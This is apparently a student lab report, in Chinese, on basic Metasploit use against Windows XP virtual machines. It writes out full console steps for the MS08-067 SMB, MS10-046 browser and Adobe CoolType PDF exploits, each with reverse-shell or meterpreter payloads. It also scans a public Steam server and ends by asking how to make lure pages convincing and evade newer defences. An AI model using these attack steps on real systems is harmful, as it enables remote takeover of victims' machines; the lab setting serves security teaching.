20155223 实验5 MSF基础应用
20155223 实验5 MSF基础应用
基础问题回答
用自己的话解释什么是exploit,payload,encode？
exploit：漏洞攻击。一个exploit程序肯定会触发系统的一个或多个漏洞，进而程序直接获取到目标系统的部分或所有权限。一个漏洞攻击程序可以在本地运行也可以远程运行，远程运行的漏洞攻击可以理论上获取被攻击系统的所有控制权。
payload：有效载荷，可以理解为搞破坏的关键代码。电脑病毒中可以直接完成预定目标的代码段便是其“有效载荷”。
encode：编码。通过一些特殊手段的编码，可以既保证有效载荷不被破坏，又使得漏洞攻击程序不会被侦察到。
实践内容
主动攻击：ms08_067漏洞攻击
攻击方：Kali Linux x64
靶机：Windows XP SP3(English)
关闭XP的所有防御，包括防火墙和杀毒软件。
在Kali机启动msfconsole，按照指导步骤输入以下代码：
use exploit/windows/smb/ms08_067_netapi // 使用ms08_067漏洞攻击方式
set payload generic/shell_reverse_tcp // 以shell反向tcp连接为有效载荷
set RHOST 192.168.129.134 // 受害者的IP
set LHOST 192.168.129.133 // 施害者的IP
set target 0 // 设置目标，0为无差别攻击
输入exploit开始发动攻击：
好了，我已经获取到受害者的控制权了。
对浏览器攻击：ms10_046漏洞攻击
受害者：Windows XP SP3(zh_cn)
攻击者：Kali Linux
在Kali攻击机开启msfconsole，输入以下命令：
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader // 使用浏览器漏洞
set payload windows/meterpreter/reverse_tcp // 选择反向链接载荷
看看这东西需要设置什么：
set SRVHOST 192.168.129.133 // 设置服务器主机IP
set LHOST 192.168.129.133 // 设置攻击机IP
之后输入exploit会出现一段URI：http://192.168.129.133:80/，同时控制台进入监听状态。
受害者访问这个神奇的URI，会弹出一个这样的窗口：
这是光明正大地告诉受害者他被攻击了吗？
同时，一直在监听的控制台同受害者建立起一个连接：
输入sessions查看有多少机器被反向链接到Kali机上（只有一个）。
再次输入sessions -i 1以控制受害者。
对Adobe的漏洞攻击
选择使用他人的成熟方案来攻击Adobe。
输入exploit/windows/fileformat/adobe_cooltype_sing确定攻击方案。
仍然是使用反向链接来做负载。
设置很简单，只需要确定攻击机的IP地址就可以了，端口写死是4444端口。
把生成的文件发送到受害者，并诱使其打开这个来路不明的pdf文件。
打开就卡死，不知道算不算是溢出之类的错误。
同时，在Kali的msfconsole上输入以下命令开始监听：
use exploit/multi/handler
set LHOST 192.168.129.133
set LPORT 4444
exploit
得到结果：
辅助模块的应用
msfconsole命令：show auxiliary去查看全部辅助模块。
浏览中发现一个扫描模块：scanner/steam/server_info.作用初步确定是收集steam服务器信息的。
G胖：嗯，是时候开始新一轮夏季降价了。>:)
use scanner/steam/server_info，show options 这扫描模块只用设置扫描起点IP即可，扫描范围默认为10（从起始地址开始往后扫10个）。端口固定为UDP端口27015，端口27015只是用作输入/输出的通信端口，一般会有QQ、微信、steam使用该端口。
设置起点为192.168.129.135。如果在这个范围内真的有steam的服务器，我就想知道是哪个人会在这么长的地方设置服务器。
然后是没有，意料之中。
好的，我必须知道哪些IP地址是指向Steam服务器。
《反恐精英：全球攻势》是一款Steam平台上的游戏，如果我要玩这游戏，那么我发送请求的数据包的目的地址一定是一个Steam服务器。所以我要证明这个辅助模块还能用，就必须抓到那个发给Steam服务器的数据包。
不过，我可以选择另一条简单的道路：在游戏里打开控制台，控制台可以在我进入游戏的过程中显示我将要联系上的服务器IP。
我获得到这个IP，怎么感觉这个IP不是中国的。
再次使用scanner/steam/server_info，设置目的IP为所得IP。得到这个：
切！这个只能显示服务器支持哪款游戏，并不能显示这个服务器是以什么系统建立的，也不能显示服务器是不是公共服务器。
实验总结与体会
这个MSF平台还有很多功能我们没有发现，但是其局限性已经暴露无遗。浏览器渗透攻击只针对IE8.0以下版本，根本就不能搞定其他的浏览器；系统只针对经典版本Windows XP，任何高于winXP的操作系统，其自带的防火墙就可以拦阻来自msf制造的攻击；倒是扫描模块不错，有不少特别好用的。但是考虑到正在做实验的IPv6，msf的扫描却只有一个可用的。
离实战还缺些什么技术或步骤？
- 怎么样才能做到主动出击，而不是制造陷阱让人往里跳？
- 怎么样让浏览器攻击的诱饵页面更像一个正常的页面？
- 还没有能够躲开Win10版本的扫描技术。
